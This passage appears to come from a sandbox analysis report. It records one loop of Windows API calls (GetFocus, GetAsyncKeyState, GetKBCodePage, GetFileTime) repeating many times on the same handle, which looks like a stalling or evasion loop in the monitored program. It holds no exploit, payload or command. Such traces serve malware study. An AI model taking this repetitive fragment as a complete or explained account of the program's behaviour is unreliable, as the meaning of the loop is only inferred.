lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.895] GetFocus () returned 0x0 [0252.895] GetAsyncKeyState (vKey=58) returned 0 [0252.895] GetKBCodePage () returned 0x1b5 [0252.895] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.895] GetFocus () returned 0x0 [0252.895] GetAsyncKeyState (vKey=58) returned 0 [0252.895] GetKBCodePage () returned 0x1b5 [0252.895] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.895] GetFocus () returned 0x0 [0252.895] GetAsyncKeyState (vKey=58) returned 0 [0252.895] GetKBCodePage () returned 0x1b5 [0252.895] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.895] GetFocus () returned 0x0 [0252.895] GetAsyncKeyState (vKey=58) returned 0 [0252.895] GetKBCodePage () returned 0x1b5 [0252.895] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.896] GetFocus () returned 0x0 [0252.896] GetAsyncKeyState (vKey=58) returned 0 [0252.896] GetKBCodePage () returned 0x1b5 [0252.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.896] GetFocus () returned 0x0 [0252.896] GetAsyncKeyState (vKey=58) returned 0 [0252.896] GetKBCodePage () returned 0x1b5 [0252.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.896] GetFocus () returned 0x0 [0252.896] GetAsyncKeyState (vKey=58) returned 0 [0252.896] GetKBCodePage () returned 0x1b5 [0252.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.896] GetFocus () returned 0x0 [0252.896] GetAsyncKeyState (vKey=58) returned 0 [0252.896] GetKBCodePage () returned 0x1b5 [0252.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.896] GetFocus () returned 0x0 [0252.896] GetAsyncKeyState (vKey=58) returned 0 [0252.896] GetKBCodePage () returned 0x1b5 [0252.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.896] GetFocus () returned 0x0 [0252.896] GetAsyncKeyState (vKey=58) returned 0 [0252.896] GetKBCodePage () returned 0x1b5 [0252.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.896] GetFocus () returned 0x0 [0252.896] GetAsyncKeyState (vKey=58) returned 0 [0252.896] GetKBCodePage () returned 0x1b5 [0252.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.896] GetFocus () returned 0x0 [0252.896] GetAsyncKeyState (vKey=58) returned 0 [0252.896] GetKBCodePage () returned 0x1b5 [0252.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.896] GetFocus () returned 0x0 [0252.896] GetAsyncKeyState (vKey=58) returned 0 [0252.896] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.897] GetFocus () returned 0x0 [0252.897] GetAsyncKeyState (vKey=58) returned 0 [0252.897] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.897] GetFocus () returned 0x0 [0252.897] GetAsyncKeyState (vKey=58) returned 0 [0252.897] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.897] GetFocus () returned 0x0 [0252.897] GetAsyncKeyState (vKey=58) returned 0 [0252.897] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.897] GetFocus () returned 0x0 [0252.897] GetAsyncKeyState (vKey=58) returned 0 [0252.897] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.897] GetFocus () returned 0x0 [0252.897] GetAsyncKeyState (vKey=58) returned 0 [0252.897] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.897] GetFocus () returned 0x0 [0252.897] GetAsyncKeyState (vKey=58) returned 0 [0252.897] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.897] GetFocus () returned 0x0 [0252.897] GetAsyncKeyState (vKey=58) returned 0 [0252.897] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.897] GetFocus () returned 0x0 [0252.897] GetAsyncKeyState (vKey=58) returned 0 [0252.897] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.897] GetFocus () returned 0x0 [0252.897] GetAsyncKeyState (vKey=58) returned 0 [0252.897] GetKBCodePage () returned 0x1b5 [0252.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.898] GetFocus () returned 0x0 [0252.898] GetAsyncKeyState (vKey=58) returned 0 [0252.898] GetKBCodePage () returned 0x1b5 [0252.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.898] GetFocus () returned 0x0 [0252.898] GetAsyncKeyState (vKey=58) returned 0 [0252.898] GetKBCodePage () returned 0x1b5 [0252.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.898] GetFocus () returned 0x0 [0252.898] GetAsyncKeyState (vKey=58) returned 0 [0252.898] GetKBCodePage () returned 0x1b5 [0252.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.898] GetFocus () returned 0x0 [0252.898] GetAsyncKeyState (vKey=58) returned 0 [0252.898] GetKBCodePage () returned 0x1b5 [0252.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.898] GetFocus () returned 0x0 [0252.898] GetAsyncKeyState (vKey=58) returned 0 [0252.898] GetKBCodePage () returned 0x1b5 [0252.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.898] GetFocus () returned 0x0 [0252.898] GetAsyncKeyState (vKey=58) returned 0 [0252.898] GetKBCodePage () returned 0x1b5 [0252.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.898] GetFocus () returned 0x0 [0252.898] GetAsyncKeyState (vKey=58) returned 0 [0252.898] GetKBCodePage () returned 0x1b5 [0252.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.898] GetFocus () returned 0x0 [0252.898] GetAsyncKeyState (vKey=58) returned 0 [0252.898] GetKBCodePage () returned 0x1b5 [0252.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.898] GetFocus () returned 0x0 [0252.898] GetAsyncKeyState (vKey=58) returned 0 [0252.898] GetKBCodePage () returned 0x1b5 [0252.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.899] GetFocus () returned 0x0 [0252.899] GetAsyncKeyState (vKey=58) returned 0 [0252.899] GetKBCodePage () returned 0x1b5 [0252.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.899] GetFocus () returned 0x0 [0252.899] GetAsyncKeyState (vKey=58) returned 0 [0252.899] GetKBCodePage () returned 0x1b5 [0252.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.899] GetFocus () returned 0x0 [0252.899] GetAsyncKeyState (vKey=58) returned 0 [0252.899] GetKBCodePage () returned 0x1b5 [0252.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.899] GetFocus () returned 0x0 [0252.899] GetAsyncKeyState (vKey=58) returned 0 [0252.899] GetKBCodePage () returned 0x1b5 [0252.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.899] GetFocus () returned 0x0 [0252.899] GetAsyncKeyState (vKey=58) returned 0 [0252.899] GetKBCodePage () returned 0x1b5 [0252.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.899] GetFocus () returned 0x0 [0252.899] GetAsyncKeyState (vKey=58) returned 0 [0252.899] GetKBCodePage () returned 0x1b5 [0252.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.899] GetFocus () returned 0x0 [0252.899] GetAsyncKeyState (vKey=58) returned 0 [0252.899] GetKBCodePage () returned 0x1b5 [0252.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.899] GetFocus () returned 0x0 [0252.899] GetAsyncKeyState (vKey=58) returned 0 [0252.899] GetKBCodePage () returned 0x1b5 [0252.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.899] GetFocus () returned 0x0 [0252.899] GetAsyncKeyState (vKey=58) returned 0 [0252.899] GetKBCodePage () returned 0x1b5 [0252.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.900] GetFocus () returned 0x0 [0252.900] GetAsyncKeyState (vKey=58) returned 0 [0252.900] GetKBCodePage () returned 0x1b5 [0252.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.900] GetFocus () returned 0x0 [0252.900] GetAsyncKeyState (vKey=58) returned 0 [0252.900] GetKBCodePage () returned 0x1b5 [0252.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.900] GetFocus () returned 0x0 [0252.900] GetAsyncKeyState (vKey=58) returned 0 [0252.900] GetKBCodePage () returned 0x1b5 [0252.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.900] GetFocus () returned 0x0 [0252.900] GetAsyncKeyState (vKey=58) returned 0 [0252.900] GetKBCodePage () returned 0x1b5 [0252.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.900] GetFocus () returned 0x0 [0252.900] GetAsyncKeyState (vKey=58) returned 0 [0252.900] GetKBCodePage () returned 0x1b5 [0252.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.900] GetFocus () returned 0x0 [0252.900] GetAsyncKeyState (vKey=58) returned 0 [0252.900] GetKBCodePage () returned 0x1b5 [0252.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.900] GetFocus () returned 0x0 [0252.900] GetAsyncKeyState (vKey=58) returned 0 [0252.900] GetKBCodePage () returned 0x1b5 [0252.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.900] GetFocus () returned 0x0 [0252.900] GetAsyncKeyState (vKey=58) returned 0 [0252.900] GetKBCodePage () returned 0x1b5 [0252.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.900] GetFocus () returned 0x0 [0252.900] GetAsyncKeyState (vKey=58) returned 0 [0252.901] GetKBCodePage () returned 0x1b5 [0252.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.901] GetFocus () returned 0x0 [0252.901] GetAsyncKeyState (vKey=58) returned 0 [0252.901] GetKBCodePage () returned 0x1b5 [0252.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.901] GetFocus () returned 0x0 [0252.901] GetAsyncKeyState (vKey=58) returned 0 [0252.901] GetKBCodePage () returned 0x1b5 [0252.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.901] GetFocus () returned 0x0 [0252.901] GetAsyncKeyState (vKey=58) returned 0 [0252.901] GetKBCodePage () returned 0x1b5 [0252.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), 